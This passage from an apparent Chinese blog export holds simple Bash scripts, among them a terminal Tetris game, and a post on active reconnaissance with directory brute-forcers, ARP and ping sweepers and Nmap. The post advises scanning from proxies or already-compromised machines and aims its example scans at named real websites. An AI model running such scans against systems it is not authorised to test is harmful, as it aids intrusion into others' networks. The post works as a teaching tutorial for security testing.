j=$[$j+$i]doneecho $jexitdone 批量建立用户1234567891011121314#!/bin/bash# 批量建立用户user_00,user_01,...user_100并且所有用户同属于users组;for i in `seq 0 1 100`do if [ $i -lt 10 ] then useradd -g 100 user_0$i elif [ $i == 100 ] then useradd -g 100 user_100 else useradd -g 100 user_$i fi done 计算1-100的和123456#!/bin/bashfor i in `seq 1 100`do j=$[$j+$i]doneecho $j 获取随机数123456789101112131415161718192021222324252627282930#!/bin/bash# RANDOM随机函数,100取余就可以获得1-100的随机整数n=$[$RANDOM%100]while :doread -p "请输入一个1-100间的整数:" n1n2=`echo $n1|sed 's/[0-9]//g'`if [ ! -z $n2 ]then echo "你输入的不是1-100的整数!" continue fiif [ $n1 -gt 100 ] || [ $n1 == 0 ]then echo "请输入1-100的整数!" continue fiif [ $n1 == $n ]then echo "你猜对了!" breakelif [ $n1 -gt $n ]then echo "你输入的数字太大了!" continueelse echo "你输入的数字太小了!" continuefidone 乘法口诀表1234567891011#!/bin/bashfor i in `seq 1 9`do for j in `seq 1 $i` do k=$[$i*$j] # -n选项,不换行,-e使用制表符 echo -ne "$j""X""$i=$k\\t" done echodone 俄罗斯方块123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618#!/bin/bash # Tetris Game# 10.21.2003 xhchen<[email]xhchen@winbond.com.tw[/email]> #APP declarationAPP_NAME="${0##*[\\\\/]}"APP_VERSION="1.0" # 颜色定义cRed=1cGreen=2cYellow=3cBlue=4cFuchsia=5cCyan=6cWhite=7colorTable=($cRed $cGreen $cYellow $cBlue $cFuchsia $cCyan $cWhite) # 位置和大小iLeft=3iTop=2((iTrayLeft = iLeft + 2))((iTrayTop = iTop + 1))((iTrayWidth = 10))((iTrayHeight = 15)) # 颜色设置cBorder=$cGreencScore=$cFuchsiacScoreValue=$cCyan # 控制信号# 改游戏使用两个进程,一个用于接收输入,一个用于游戏流程和显示界面;# 当前者接收到上下左右等按键时,通过向后者发送signal的方式通知后者。sigRotate=25sigLeft=26sigRight=27sigDown=28sigAllDown=29sigExit=30 # 七中不同的方块的定义# 通过旋转,每种方块的显示的样式可能有几种box0=(0 0 0 1 1 0 1 1)box1=(0 2 1 2 2 2 3 2 1 0 1 1 1 2 1 3)box2=(0 0 0 1 1 1 1 2 0 1 1 0 1 1 2 0)box3=(0 1 0 2 1 0 1 1 0 0 1 0 1 1 2 1)box4=(0 1 0 2 1 1 2 1 1 0 1 1 1 2 2 2 0 1 1 1 2 0 2 1 0 0 1 0 1 1 1 2)box5=(0 1 1 1 2 1 2 2 1 0 1 1 1 2 2 0 0 0 0 1 1 1 2 1 0 2 1 0 1 1 1 2)box6=(0 1 1 1 1 2 2 1 1 0 1 1 1 2 2 1 0 1 1 0 1 1 2 1 0 1 1 0 1 1 1 2)# 所有其中方块的定义都放到box变量中box=(${box0[@]} ${box1[@]} ${box2[@]} ${box3[@]} ${box4[@]} ${box5[@]} ${box6[@]})# 各种方块旋转后可能的样式数目countBox=(1 2 2 2 4 4 4)# 各种方块再box数组中的偏移offsetBox=(0 1 3 5 7 11 15) # 每提高一个速度级需要积累的分数iScoreEachLevel=50 # be greater than 7 # 运行时数据sig=0 # 接收到的signaliScore=0 # 总分iLevel=0 # 速度级boxNew=() # 新下落的方块的位置定义cBoxNew=0 # 新下落的方块的颜色iBoxNewType=0 # 新下落的方块的种类iBoxNewRotate=0 # 新下落的方块的旋转角度boxCur=() # 当前方块的位置定义cBoxCur=0 # 当前方块的颜色iBoxCurType=0 # 当前方块的种类iBoxCurRotate=0 # 当前方块的旋转角度boxCurX=-1 # 当前方块的x坐标位置boxCurY=-1 # 当前方块的y坐标位置iMap=() # 背景方块图表 # 初始化所有背景方块为-1, 表示没有方块for ((i = 0; i < iTrayHeight * iTrayWidth; i++)); do iMap[$i]=-1; done # 接收输入的进程的主函数function RunAsKeyReceiver(){ local pidDisplayer key aKey sig cESC sTTY pidDisplayer=$1 aKey=(0 0 0) cESC=`echo -ne "\\033"` cSpace=`echo -ne "\\040"` # 保存终端属性。在read -s读取终端键时,终端的属性会被暂时改变。 # 如果在read -s时程序被不幸杀掉,可能会导致终端混乱, # 需要在程序退出时恢复终端属性。 sTTY=`stty -g` # 捕捉退出信号 trap "MyExit;" INT TERM trap "MyExitNoSub;" $sigExit # 隐藏光标 echo -ne "\\033[?25l" while : do # 读取输入。注-s不回显,-n读到一个字符立即返回 read -s -n 1 key aKey[0]=${aKey[1]} aKey[1]=${aKey[2]} aKey[2]=$key sig=0 # 判断输入了何种键 if [[ $key == $cESC && ${aKey[1]} == $cESC ]] then # ESC键 MyExit elif [[ ${aKey[0]} == $cESC && ${aKey[1]} == "[" ]] then if [[ $key == "A" ]]; then sig=$sigRotate # <向上键> elif [[ $key == "B" ]]; then sig=$sigDown # <向下键> elif [[ $key == "D" ]]; then sig=$sigLeft # <向左键> elif [[ $key == "C" ]]; then sig=$sigRight # <向右键> fi elif [[ $key == "W" || $key == "w" ]]; then sig=$sigRotate # W, w elif [[ $key == "S" || $key == "s" ]]; then sig=$sigDown # S, s elif [[ $key == "A" || $key == "a" ]]; then sig=$sigLeft # A, a elif [[ $key == "D" || $key == "d" ]]; then sig=$sigRight # D, d elif [[ "[$key]" == "[]" ]]; then sig=$sigAllDown # 空格键 elif [[ $key == "Q" || $key == "q" ]] # Q, q then MyExit fi if [[ $sig != 0 ]] then # 向另一进程发送消息 kill -$sig $pidDisplayer fi done} # 退出前的恢复function MyExitNoSub(){ local y # 恢复终端属性 stty $sTTY ((y = iTop + iTrayHeight + 4)) # 显示光标 echo -e "\\033[?25h\\033[${y};0H" exit} function MyExit(){ # 通知显示进程需要退出 kill -$sigExit $pidDisplayer MyExitNoSub} # 处理显示和游戏流程的主函数function RunAsDisplayer(){ local sigThis InitDraw # 挂载各种信号的处理函数 trap "sig=$sigRotate;" $sigRotate trap "sig=$sigLeft;" $sigLeft trap "sig=$sigRight;" $sigRight trap "sig=$sigDown;" $sigDown trap "sig=$sigAllDown;" $sigAllDown trap "ShowExit;" $sigExit while : do # 根据当前的速度级iLevel不同,设定相应的循环的次数 for ((i = 0; i < 21 - iLevel; i++)) do sleep 0.02 sigThis=$sig sig=0 # 根据sig变量判断是否接受到相应的信号 if ((sigThis == sigRotate)); then BoxRotate; # 旋转 elif ((sigThis == sigLeft)); then BoxLeft; # 左移一列 elif ((sigThis == sigRight)); then BoxRight; # 右移一列 elif ((sigThis == sigDown)); then BoxDown; # 下落一行 elif ((sigThis == sigAllDown)); then BoxAllDown; # 下落到底 fi done # kill -$sigDown $$ BoxDown # 下落一行 done} # BoxMove(y, x), 测试是否可以把移动中的方块移到(x, y)的位置, 返回0则可以, 1不可以function BoxMove(){ local j i x y xTest yTest yTest=$1 xTest=$2 for ((j = 0; j < 8; j += 2)) do ((i = j + 1)) ((y = ${boxCur[$j]} + yTest)) ((x = ${boxCur[$i]} + xTest)) if (( y < 0 || y >= iTrayHeight || x < 0 || x >= iTrayWidth)) then # 撞到墙壁了 return 1 fi if ((${iMap[y * iTrayWidth + x]} != -1 )) then # 撞到其他已经存在的方块了 return 1 fi done return 0;} # 将当前移动中的方块放到背景方块中去,# 并计算新的分数和速度级。(即一次方块落到底部)function Box2Map(){ local j i x y xp yp line # 将当前移动中的方块放到背景方块中去 for ((j = 0; j < 8; j += 2)) do ((i = j + 1)) ((y = ${boxCur[$j]} + boxCurY)) ((x = ${boxCur[$i]} + boxCurX)) ((i = y * iTrayWidth + x)) iMap[$i]=$cBoxCur done # 消去可被消去的行 line=0 for ((j = 0; j < iTrayWidth * iTrayHeight; j += iTrayWidth)) do for ((i = j + iTrayWidth - 1; i >= j; i--)) do if ((${iMap[$i]} == -1)); then break; fi done if ((i >= j)); then continue; fi ((line++)) for ((i = j - 1; i >= 0; i--)) do ((x = i + iTrayWidth)) iMap[$x]=${iMap[$i]} done for ((i = 0; i < iTrayWidth; i++)) do iMap[$i]=-1 done done if ((line == 0)); then return; fi # 根据消去的行数line计算分数和速度级 ((x = iLeft + iTrayWidth * 2 + 7)) ((y = iTop + 11)) ((iScore += line * 2 - 1)) # 显示新的分数 echo -ne "\\033[1m\\033[3${cScoreValue}m\\033[${y};${x}H${iScore} " if ((iScore % iScoreEachLevel < line * 2 - 1)) then if ((iLevel < 20)) then ((iLevel++)) ((y = iTop + 14)) # 显示新的速度级 echo -ne "\\033[3${cScoreValue}m\\033[${y};${x}H${iLevel} " fi fi echo -ne "\\033[0m" # 重新显示背景方块 for ((y = 0; y < iTrayHeight; y++)) do ((yp = y + iTrayTop + 1)) ((xp = iTrayLeft + 1)) ((i = y * iTrayWidth)) echo -ne "\\033[${yp};${xp}H" for ((x = 0; x < iTrayWidth; x++)) do ((j = i + x)) if ((${iMap[$j]} == -1)) then echo -ne " " else echo -ne "\\033[1m\\033[7m\\033[3${iMap[$j]}m\\033[4${iMap[$j]}m[]\\033[0m" fi done done} # 下落一行function BoxDown(){ local y s ((y = boxCurY + 1)) # 新的y坐标 if BoxMove $y $boxCurX # 测试是否可以下落一行 then s="`DrawCurBox 0`" # 将旧的方块抹去 ((boxCurY = y)) s="$s`DrawCurBox 1`" # 显示新的下落后方块 echo -ne $s else # 走到这儿, 如果不能下落了 Box2Map # 将当前移动中的方块贴到背景方块中 RandomBox # 产生新的方块 fi} # 左移一列function BoxLeft(){ local x s ((x = boxCurX - 1)) if BoxMove $boxCurY $x then s=`DrawCurBox 0` ((boxCurX = x)) s=$s`DrawCurBox 1` echo -ne $s fi} # 右移一列function BoxRight(){ local x s ((x = boxCurX + 1)) if BoxMove $boxCurY $x then s=`DrawCurBox 0` ((boxCurX = x)) s=$s`DrawCurBox 1` echo -ne $s fi} # 下落到底function BoxAllDown(){ local k j i x y iDown s iDown=$iTrayHeight # 计算一共需要下落多少行 for ((j = 0; j < 8; j += 2)) do ((i = j + 1)) ((y = ${boxCur[$j]} + boxCurY)) ((x = ${boxCur[$i]} + boxCurX)) for ((k = y + 1; k < iTrayHeight; k++)) do ((i = k * iTrayWidth + x)) if (( ${iMap[$i]} != -1)); then break; fi done ((k -= y + 1)) if (( $iDown > $k )); then iDown=$k; fi done s=`DrawCurBox 0` # 将旧的方块抹去 ((boxCurY += iDown)) s=$s`DrawCurBox 1` # 显示新的下落后的方块 echo -ne $s Box2Map # 将当前移动中的方块贴到背景方块中 RandomBox # 产生新的方块} # 旋转方块function BoxRotate(){ local iCount iTestRotate boxTest j i s iCount=${countBox[$iBoxCurType]} # 当前的方块经旋转可以产生的样式的数目 # 计算旋转后的新的样式 ((iTestRotate = iBoxCurRotate + 1)) if ((iTestRotate >= iCount)) then ((iTestRotate = 0)) fi # 更新到新的样式, 保存老的样式(但不显示) for ((j = 0, i = (${offsetBox[$iBoxCurType]} + $iTestRotate) * 8; j < 8; j++, i++)) do boxTest[$j]=${boxCur[$j]} boxCur[$j]=${box[$i]} done if BoxMove $boxCurY $boxCurX # 测试旋转后是否有空间放的下 then # 抹去旧的方块 for ((j = 0; j < 8; j++)) do boxCur[$j]=${boxTest[$j]} done s=`DrawCurBox 0` # 画上新的方块 for ((j = 0, i = (${offsetBox[$iBoxCurType]} + $iTestRotate) * 8; j < 8; j++, i++)) do boxCur[$j]=${box[$i]} done s=$s`DrawCurBox 1` echo -ne $s iBoxCurRotate=$iTestRotate else # 不能旋转,还是继续使用老的样式 for ((j = 0; j < 8; j++)) do boxCur[$j]=${boxTest[$j]} done fi} # DrawCurBox(bDraw), 绘制当前移动中的方块, bDraw为1, 画上, bDraw为0, 抹去方块。function DrawCurBox(){ local i j t bDraw sBox s bDraw=$1 s="" if (( bDraw == 0 )) then sBox="\\040\\040" else sBox="[]" s=$s"\\033[1m\\033[7m\\033[3${cBoxCur}m\\033[4${cBoxCur}m" fi for ((j = 0; j < 8; j += 2)) do ((i = iTrayTop + 1 + ${boxCur[$j]} + boxCurY)) ((t = iTrayLeft + 1 + 2 * (boxCurX + ${boxCur[$j + 1]}))) # \\033[y;xH, 光标到(x, y)处 s=$s"\\033[${i};${t}H${sBox}" done s=$s"\\033[0m" echo -n $s} # 更新新的方块function RandomBox(){ local i j t # 更新当前移动的方块 iBoxCurType=${iBoxNewType} iBoxCurRotate=${iBoxNewRotate} cBoxCur=${cBoxNew} for ((j = 0; j < ${#boxNew[@]}; j++)) do boxCur[$j]=${boxNew[$j]} done # 显示当前移动的方块 if (( ${#boxCur[@]} == 8 )) then # 计算当前方块该从顶端哪一行"冒"出来 for ((j = 0, t = 4; j < 8; j += 2)) do if ((${boxCur[$j]} < t)); then t=${boxCur[$j]}; fi done ((boxCurY = -t)) for ((j = 1, i = -4, t = 20; j < 8; j += 2)) do if ((${boxCur[$j]} > i)); then i=${boxCur[$j]}; fi if ((${boxCur[$j]} < t)); then t=${boxCur[$j]}; fi done ((boxCurX = (iTrayWidth - 1 - i - t) / 2)) # 显示当前移动的方块 echo -ne `DrawCurBox 1` # 如果方块一出来就没处放,Game over! if ! BoxMove $boxCurY $boxCurX then kill -$sigExit ${PPID} ShowExit fi fi # 清除右边预显示的方块 for ((j = 0; j < 4; j++)) do ((i = iTop + 1 + j)) ((t = iLeft + 2 * iTrayWidth + 7)) echo -ne "\\033[${i};${t}H " done # 随机产生新的方块 ((iBoxNewType = RANDOM % ${#offsetBox[@]})) ((iBoxNewRotate = RANDOM % ${countBox[$iBoxNewType]})) for ((j = 0, i = (${offsetBox[$iBoxNewType]} + $iBoxNewRotate) * 8; j < 8; j++, i++)) do boxNew[$j]=${box[$i]}; done ((cBoxNew = ${colorTable[RANDOM % ${#colorTable[@]}]})) # 显示右边预显示的方块 echo -ne "\\033[1m\\033[7m\\033[3${cBoxNew}m\\033[4${cBoxNew}m" for ((j = 0; j < 8; j += 2)) do ((i = iTop + 1 + ${boxNew[$j]})) ((t = iLeft + 2 * iTrayWidth + 7 + 2 * ${boxNew[$j + 1]})) echo -ne "\\033[${i};${t}H[]" done echo -ne "\\033[0m"} # 初始绘制function InitDraw(){ clear RandomBox # 随机产生方块,这时右边预显示窗口中有方快了 RandomBox # 再随机产生方块,右边预显示窗口中的方块被更新,原先的方块将开始下落 local i t1 t2 t3 # 显示边框 echo -ne "\\033[1m" echo -ne "\\033[3${cBorder}m\\033[4${cBorder}m" ((t2 = iLeft + 1)) ((t3 = iLeft + iTrayWidth * 2 + 3)) for ((i = 0; i < iTrayHeight; i++)) do ((t1 = i + iTop + 2)) echo -ne "\\033[${t1};${t2}H||" echo -ne "\\033[${t1};${t3}H||" done ((t2 = iTop + iTrayHeight + 2)) for ((i = 0; i < iTrayWidth + 2; i++)) do ((t1 = i * 2 + iLeft + 1)) echo -ne "\\033[${iTrayTop};${t1}H==" echo -ne "\\033[${t2};${t1}H==" done echo -ne "\\033[0m" # 显示"Score"和"Level"字样 echo -ne "\\033[1m" ((t1 = iLeft + iTrayWidth * 2 + 7)) ((t2 = iTop + 10)) echo -ne "\\033[3${cScore}m\\033[${t2};${t1}HScore" ((t2 = iTop + 11)) echo -ne "\\033[3${cScoreValue}m\\033[${t2};${t1}H${iScore}" ((t2 = iTop + 13)) echo -ne "\\033[3${cScore}m\\033[${t2};${t1}HLevel" ((t2 = iTop + 14)) echo -ne "\\033[3${cScoreValue}m\\033[${t2};${t1}H${iLevel}" echo -ne "\\033[0m"} # 退出时显示GameOVer!function ShowExit(){ local y ((y = iTrayHeight + iTrayTop + 3)) echo -e "\\033[${y};0HGameOver!\\033[0m" exit} # 显示用法.function Usage{ cat << EOFUsage: $APP_NAMEStart tetris game. -h, --help display this help and exit --version output version information and exitEOF} # 游戏主程序在这儿开始.if [[ "$1" == "-h" || "$1" == "--help" ]]; then Usageelif [[ "$1" == "--version" ]]; then echo "$APP_NAME $APP_VERSION"elif [[ "$1" == "--show" ]]; then # 当发现具有参数--show时,运行显示函数 RunAsDisplayerelse bash $0 --show& # 以参数--show将本程序再运行一遍 RunAsKeyReceiver $! # 以上一行产生的进程的进程号作为参数fi","tags":["Centos","运维","Shell"],"categories":["安全运维","Linux"]},{"title":"Security-主动信息收集","path":"/2024/02/16/449cb93/","content":"总字符数: 21.79K 代码: 12.88K, 文本: 4.42K 预计阅读时间: 1.25 小时 主动信息收集的原理全球网络攻防实时地图通以下链接,我们可以发现,现在这个安静的网站环境下,一直存在着攻击和渗透。 https://ssa.yundun.com/cchttps://ssa.yundun.com/cc https://cybermap.kaspersky.com/cnhttps://cybermap.kaspersky.com/cn 主动信息收集的特点 直接与目标系统交互通信 无法避免留下访问的痕迹 使用受控的第三方电脑进行探测,使用代理或已经被控制的机器,做好被封杀的准备 扫描发送不同的探测,根据返回结果判断目标状态 扫描敏感目录/文件 扫描敏感目录需要强大的字典,需要平时积累,拥有强大的字典能够更高效地找出网站的管理后台,敏感文件常见的如**.git文件泄露,.svn文件泄露,phpinfo泄露,robots.txt,网站banner,网站后台,测试文件,备份,github源码,JS敏感文件,网页源代码**等,这一步一半交给各类扫描器就可以了,将目标站点输入到域名中,选择对应字典类型,就可以开始扫描了,十分方便。 JS敏感文件 123python3 PackerFuzzer.py -u https://www.liaoxuefeng.com# 查看报告cd reports 12# 建议使用 -ou 和 -os 来指定保存 URL 和子域名的文件名python3 JSFinder.py -u http://www.jiangjiyue.com -d -ou mi_url.txt -os mi_subdomain.txt dirsearch dirsearch是一个基于python3的命令行工具,常用于暴力扫描页面结构,包括网页中的目录和文件。 相比其他扫描工具disearch的特点是: 支持HTTP代理 多线程 支持多种形式的网页(asp,php) 生成报告(纯文本,JSON) 启发式检测无效的网页 递归扫描 用户代理随机化 批量处理 扫描器与字典(注:字典必须是文本文件) 简单使用12345678dirsearch -u https://target dirsearch -e php,html,js -u https://target dirsearch -e * -u https://target -w /path/to/wordlist# 参数# -e 扫描网站需要指定网站的脚本类型,*为全部类型的脚本# -u 指定域名# -w 设置字典 图中,每一列的含义分别是:扫描时间,状态码,大小,扫描的目录,重定向的地址 参数列表1234567891011121314151617181920212223242526-h, --help # 查看帮助-u URL, --url=URL # 设置url-L URLLIST, --url-list=URLLIST # 设置url列表-e EXTENSIONS, --extensions=EXTENSIONS # 网站脚本类型-w WORDLIST, --wordlist=WORDLIST # 设置字典-l, --lowercase # 小写-f, --force-extensions # 强制扩展字典里的每个词条-s DELAY, --delay=DELAY # 设置请求之间的延时-r, --recursive Bruteforce recursively # 递归地扫描–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS # 扫描给定的url的子目录(用逗号隔开)–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS # 在递归过程中排除指定的子目录扫描(用逗号隔开)-t THREADSCOUNT, --threads=THREADSCOUNT # 设置扫描线程-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES # 排除指定的网站状态码(用逗号隔开)-c COOKIE, --cookie=COOKIE # 设置cookie–ua=USERAGENT, --user-agent=USERAGENT # 设置用户代理-F, --follow-redirects # 跟随地址重定向扫描-H HEADERS, --header=HEADERS # 设置请求头–random-agents, --random-user-agents # 设置随机代理–timeout=TIMEOUT # 设置超时时间–ip=IP # 设置代理IP地址–proxy=HTTPPROXY, --http-proxy=HTTPPROXY # 设置http代理。例如127.0.0.1:8080–max-retries=MAXRETRIES # 设置最大的重试次数-b, --request-by-hostname # 通过主机名请求速度,默认通过IP–simple-report=SIMPLEOUTPUTFILE # 保存结果,发现的路径–plain-text-report=PLAINTEXTOUTPUTFILE # 保存结果,发现的路径和状态码–json-report=JSONOUTPUTFILE # 以json格式保存结果 Dirbuster DirBuster支持全部的Web目录扫描方式。它既支持网页爬虫方式扫描,也支持基于字典暴力扫描,还支持纯暴力扫描。该工具使用Java语言编写,提供命令行(Headless)和图形界面(GUI)两种模式。其中,图形界面模式功能更为强大。用户不仅可以指定纯暴力扫描的字符规则,还可以设置以URL模糊方式构建网页路径。同时,用户还对网页解析方式进行各种定制,提高网址解析效率。 启动dirbuster123456┌──(root㉿kali)-[/home]└─# dirbuster Command 'dirbuster' not found, but can be installed with:apt install dirbusterDo you want to install it? (N/y)# 如果出现以上内容,输入y回车安装即可 设置相关参数 目标ip地址或域名,默认80端口,特殊端口需要加到后面 请求方式,用get方式或者HEAD加GET自动切换 选择线程数,用于执行暴力破解的线程数完全取决于计算机的硬件 选择字典类型,字典列表目录为:/usr/share/dirbuster/wordlists 自动生成,和步骤4二选一,建议使用字典 选择扫描方式 如果用URL Fuzz,可以指定目录,指定扫描admin目录下面的所有文件,dir代表字典的每一行 点击开始 查看结果 Scan Information:扫描信息 Results -List View:结果列表 Results -Tree View:结果树 Errors:错误 为确定文件是否存在,最常见的响应如下所示 200:文件存在; 404:服务器中不存在该文件; 301:这是重定向到给定的URL; 401:访问此文件需要身份验证; 403:请求有效但服务器拒绝响应。 导出结果 dirb dirb是一个基于字典的web目录扫描工具,采用递归的方式来获取更多的目录,可以查找到已知的和隐藏的目录,它还支持代理和http认证限制访问的网站在渗透测试过程中,是一个非常好用的工具 dirb命令参数123456789格式:dirb <url_base> [<wordlist_file(s)>] [options]-a 设置user-agent-p <proxy[:port]>设置代理-c 设置cookie-z 添加毫秒延迟,避免洪水攻击-o 输出结果-X 在每个字典的后面添加一个后缀-H 添加请求头-i 不区分大小写搜索 1dirb http://192.168.64.170 -w /usr/share/wordlists/dirb/big.txt 基于ping命令的探测 PING命令也延伸出了很多其他的命令,如ARPING、FPING、HPING等 ping PING命令是我们常用的判断主机之间网络是否畅通,同样也是能判断我们的目标主机是否存活 1234567891011┌──(root㉿kali)-[/home]└─# ping www.baidu.com -c 4PING www.a.shifen.com (180.101.50.188) 56(84) bytes of data.64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=1 ttl=51 time=35.0 ms64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=2 ttl=51 time=35.1 ms64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=3 ttl=51 time=35.0 ms64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=4 ttl=51 time=35.2 ms--- www.a.shifen.com ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3004msrtt min/avg/max/mdev = 34.986/35.067/35.152/0.060 ms ARPINGARP协议概述 ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。计算机通过 ARP协议将IP地址转换成MAC地址。 ARP协议工作原理 在以太网中,数据传输的目标地址是MAC地址,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。 计算机使用者通常只知道目标机器的IP信息,”地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。 简单地说,ARP协议主要负责将局域网中的32位IP地址转换为对应的48位物理地址,即网卡的MAC地址,保障通信顺利进行。 windows下查看MAC地址:ipconfig /all 使用arping命令查看局域网中的IP是否有冲突 123456└─# arping 192.168.2.107ARPING 192.168.2.107TimeoutTimeoutTimeout# 注意:按CTRL+C结束arping命令 netdiscover netdiscover是一个主动/被动的ARP侦查工具.使用netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。 主动模式 主动模式顾名思义就是主动的探测发现网络内主机,但是这种方式往往会引起网络管理员的注意 123456┌──(root㉿kali)-[/home]└─# netdiscover -i eth0 -r 192.168.2.0/24# 参数:# -i 设备:您的网络设备 这里是指定网口为eth0,范围192.168.2.0/24# -r 范围:扫描指定范围而不是自动扫描# /24/16/8,子网掩码 三个255是/24 被动模式 被动模式的方法更加隐蔽,但是速度会比较慢,网卡被设置为混杂模式来侦听网络内的arp数据包进行被动式探测,这种方式就需要网络内设备发送arp包才能被探测到。 1234┌──(root㉿kali)-[/home]└─# netdiscover -p # 参数:# -p 被动模式:不发送任何东西,只有sniffnet arp-scan arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。 同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。 指令介绍 参数名 参数含义 使用示例 -f 从指定文件中读取主机名或地址 arp-scan -f ip.txt -l 从网络接口配置生成地址 arp-scan -l -i 各扫描之间的时间差 arp-scan -l -i 1000 -r 每个主机扫描次数 arp-scan -l -r 5 -V 显示程序版本并退出 arp-scan -l -V -t 设置主机超时时间 arp-scan -t 1000 192.168.2.0/24 -I 使用网络接口 arp-scan -I eth0 -l -g 不显示重复的数据 arp-scan -l -g -D 显示数据包往返时间 arp-scan -l -D 1234567891011┌──(root㉿kali)-[/home]└─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:3e:50:4d, IPv4: 192.168.2.106Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)192.168.2.1 2c:b2:1a:0c:d4:49 Phicomm (Shanghai) Co., Ltd.192.168.2.104 84:14:4d:f7:61:b0 (Unknown)192.168.2.180 2a:3e:a4:7a:f0:e6 (Unknown: locally administered)192.168.2.201 96:89:f9:d7:d9:7b (Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernelEnding arp-scan 1.9.7: 256 hosts scanned in 1.920 seconds (133.33 hosts/sec). 4 responded FPING Fping就是ping命令的加强版他可以对一个IP段进行ping扫描,而ping命令本身是不可以对网段进行扫描的 12345678910┌──(root㉿kali)-[/home]└─# fping -ag 192.168.2.0/24 > fping.txt或┌──(root㉿kali)-[/home]└─# fping -ag 192.168.2.1 192.168.2.254 > fping.txt# 参数说明:-a 表示只显示存活主机-g 表示对地址段进行扫描,如果不加可以对某个IP进行扫描> fping.txt 表示将扫描的结果重定向到fping.txt ,原因是如果扫描一个网段的话输出结果是非常多的,我们输出重定向到文件中只会获得存活的主机信息。 Nmap Nmap 是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。它不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。 特点Nmap 对于网络检查的作用,应该相当于网址导航、搜索引擎的作用:入口。 检测活在网络上的主机(主机发现) 检测主机上开放的端口(端口发现或枚举) 检测到相应的端口(服务发现)的软件和版本 检测操作系统,硬件地址,以及软件版本 检测脆弱性的漏洞(Nmap 的脚本) Nmap 使用不同的技术来执行扫描,包括:TCP 的 connect 扫描,TCP 反向的 ident 扫描,FTP 反弹扫描等。所有这些扫描的类型有自己的优点和缺点。 目标探测 目标探测的目的主要有 2 个: 判断是否存活 获取端口的开放情况 -P* 选项(用于选择 ping 的类型)可以结合使用。可以通过使用不同的 TCP 端口/标志位和 ICMP 码来发送许多探测报文,增加穿透防火墙的机会。注意,即使指定了 -P* 选项,在局域网中,默认通过 ARP(-PR)来探测目标,因为它总是更快更有效。 -sn 不进行端口扫描(Ping 扫描):此选项告诉 Nmap 在主机发现后不进行端口扫描,只打印出探测到的可用主机。 -sP该选项告诉 Nmap 仅仅进行 ping 扫描(主机发现),然后打印出对扫描做出响应的那些主机。没有进一步的测试(如端口扫描或者操作系统探测)。相当于执行了 ping xxxx。当目标为整个局域网的时候,这个方法类似 ping 广播地址,但是它更可靠,因为许多主机对广播请求不响应。同 -sn -Pn:该选项完全跳过 Nmap 目标存活判断,即认为每个目标都是存活的。一般来说,Nmap 首先判断目标是否存活,如果存活再进行进一步的探测,如端口扫描、版本探测、或者操作系统探测等等。用 -P0 会使得 Nmap 对每一个目标都直接进行所要求的扫描。 -PU: UDP ping,它发送一个空的(除非指定了 --data-length)UDP报文到给定的端口 -PR :ARP Ping --system-dns:默认情况下,Nmap 通过直接发送查询到你的主机上配置的域名服务器来解析域名。为了提高性能会并发执行许多请求(一般几十个)。如果您希望使用系统自带的解析器,就指定该选项(原理是通过调用 getnameinfo() 函数,调用一次解析一个 IP) 123# 1. nmap扫描局域网存活主机与主机名nmap -sP 192.168.1.0/24 nmap -sP -PI -PT 192.168.1.0/24 端口扫描 状态 详细的参数说明 Open 端口开启,数据有到达主机,有程序在端口上监控 Closed 端口关闭,数据有到达主机,没有程序在端口上监控 Filtered 数据没有到达主机,返回的结果为空,数据被防火墙或者是IDS过滤 UnFiltered 数据有到达主机,但是不能识别端口的当前状态 Open|Filtered 端口没有返回值,主要发生在UDP、IP、FIN、NULL和Xmas扫描中 Closed|Filtered 只发生在IP ID idle扫描 --script= 表示启用脚本扫描。具体而言,它会使用 default 和 safe 脚本组合,用于对目标进行扫描和信息收集。 auth 处理身份验证 broadcast 网络广播 brute 暴力猜解 default 默认 discovery 服务发现 dos 拒绝服务 exploit漏洞利用 external 外部扩展 fuzzer 模糊测试 intrusive 扫描可能造成不良后果 malware 检测后门 safe 扫描危害较小 version 版本识别 vuln 漏洞检测 -sS TCP SYN 扫描执行得很快 -sT TCP connect() 扫描:当 SYN 扫描不能用,例如当用户没有权限发送原始报文或者扫描 IPv6 